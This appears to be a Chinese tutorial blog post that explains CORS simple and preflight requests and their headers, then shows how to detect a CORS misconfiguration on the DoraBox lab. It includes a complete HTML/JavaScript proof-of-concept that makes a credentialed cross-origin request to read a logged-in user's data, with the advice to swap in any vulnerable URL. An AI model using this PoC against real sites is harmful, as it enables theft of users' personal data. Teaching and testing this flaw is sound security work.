CORS( 跨域资源共享)——实例介绍

一、什么是CORS

CORS是一个w3c标准、全称是"跨域资源共享"(Cross-origin resource sharing)
因为出于安全的考虑, 浏览器不允许Ajax调用当前源之外的资源.,即浏览器的同源策略
但一个请求url的协议、域名、端口三者之间任意一个与当前页面不同即为跨域、它允许阅览器向跨源服务器发送XMLHttpRequest请求,从而克服AJAX只能同源使用的限制
对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,用户对这些都不会有感觉。因此,实现CORS通信的关键是服务器
什么是CORS漏洞呢?

二、CORS的两种请求方式

1、简单请求

对于简单请求, 浏览器直接发出CORS请求, 即浏览器自动在请求header中加上Origin字段, 告诉服务器这个请求来自哪个源(请求协议+域名+端口). 服务器收到请求后, 会对比这个字段, 如果字段值不在服务器的许可范围内, 服务器会返回一个正常的HTTP响应, 但是其响应头中不会包含Access-Control-Allow-Origin字段, 浏览器发现后, 就会抛出一个异常提示响应头中没有这个字段. 如果这个源在服务器的许可范围内, 服务器的响应头会加上以下字段:

Access-Control-Allow-Origin:http://ip:port
必需项, 值为请求头中的Origin的值
Access-Control-Allow-Credentials:true
可选项, 值为boolean, 表示是否允许浏览器发送cookie, 需要在服务器配置
Access-Control-Expose-Headers:
浏览器可以从跨域请求响应头中获取的字段值, 由服务器配置. 默认可以获取Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma这六个字段

2、非简单请求

对于非简单请求, 浏览器的CORS请求分为两步,
首先是执行预检(preflight)请求, 询问服务器是否允许当前源访问,如果允许, 才会执行实际请求

预检请求可以缓存(缓存时间由服务器定义),在缓存有效期内再执行CORS请求时无需进行预检请求
预检请求的请求方式为OPTIONS,表示这个请求是用来询问的,请求头信息包含以下字段:

Origin:请求源
Access-Control-Request-Method:cors请求会用到的请求方式
Access-Control-Request-Headers:cors请求会额外发送的请求头字段
服务器收到预检请求后会检查上面的三个字段值以确定是否允许跨域请求,如果任意一项不完全满足则都不允许进行跨域请求

预检请求的响应中会包含如下字段:

Access-Control-Allow-Origin:
必需项  值为请求头中的Origin的值
Access-Control-Allow-Methods:
必需项  允许跨域请求的请求方式,其值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。这是为了避免多次预检请求
Access-Control-Allow-Credentials:
可选项  值为boolean, 表示是否允许浏览器发送cookie, 需要在服务器配置
Access-Control-Allow-Headers:
可选项  允许跨域请求额外发送的header字段, 需要在服务器配置
Access-Control-Max-Age:
可选项  用来指定本次预检请求的有效期,单位是秒

如果预检请求正常返回,接下来执行实际请求,在预检请求缓存有效期内,再执行跨域请求时无需进行预检请求

二、什么是CORS漏洞

在配置跨域策略的时候,未对请求源做合理的限制,以至于所有源都可以跨域访问该接口数据,也就是配置不合理产生的漏洞

漏洞的简单利用可参考文章:https://www.dazhuanlan.com/2019/10/24/5db1bb023a514/

三、CORS漏洞示例

使用DoraBox进行测试
CORS( 跨域资源共享)——实例介绍
访问CORS跨域资源读取,如下图所示读取到user的信息
CORS( 跨域资源共享)——实例介绍
使用burpsuite抓取数据包如下图所示,可以看到CORS跨域请求返回的字段
CORS( 跨域资源共享)——实例介绍
检测的话,只需要在HTTP请求数据包中添加一个字段:Origin: https://test.com(其中https://test.com可以随意设置),只要返回的数据包内容是:Access-Control-Allow-Origin: https://test.com,就说明存在CORS漏洞
CORS( 跨域资源共享)——实例介绍
利用的话,可以使用CORS的POC,点击Exploit,就会窃取用户的个人信息
CORS( 跨域资源共享)——实例介绍
CORS( 跨域资源共享)——实例介绍

POC1内容如下,只需要把URL换成存在漏洞的URL即可

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://192.168.120.130/DoraBox/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

POC2也是可以的,下载链接https://github.com/cantflywings/script
CORS( 跨域资源共享)——实例介绍

上一篇:cors 跨资源共享 复习


下一篇:跨域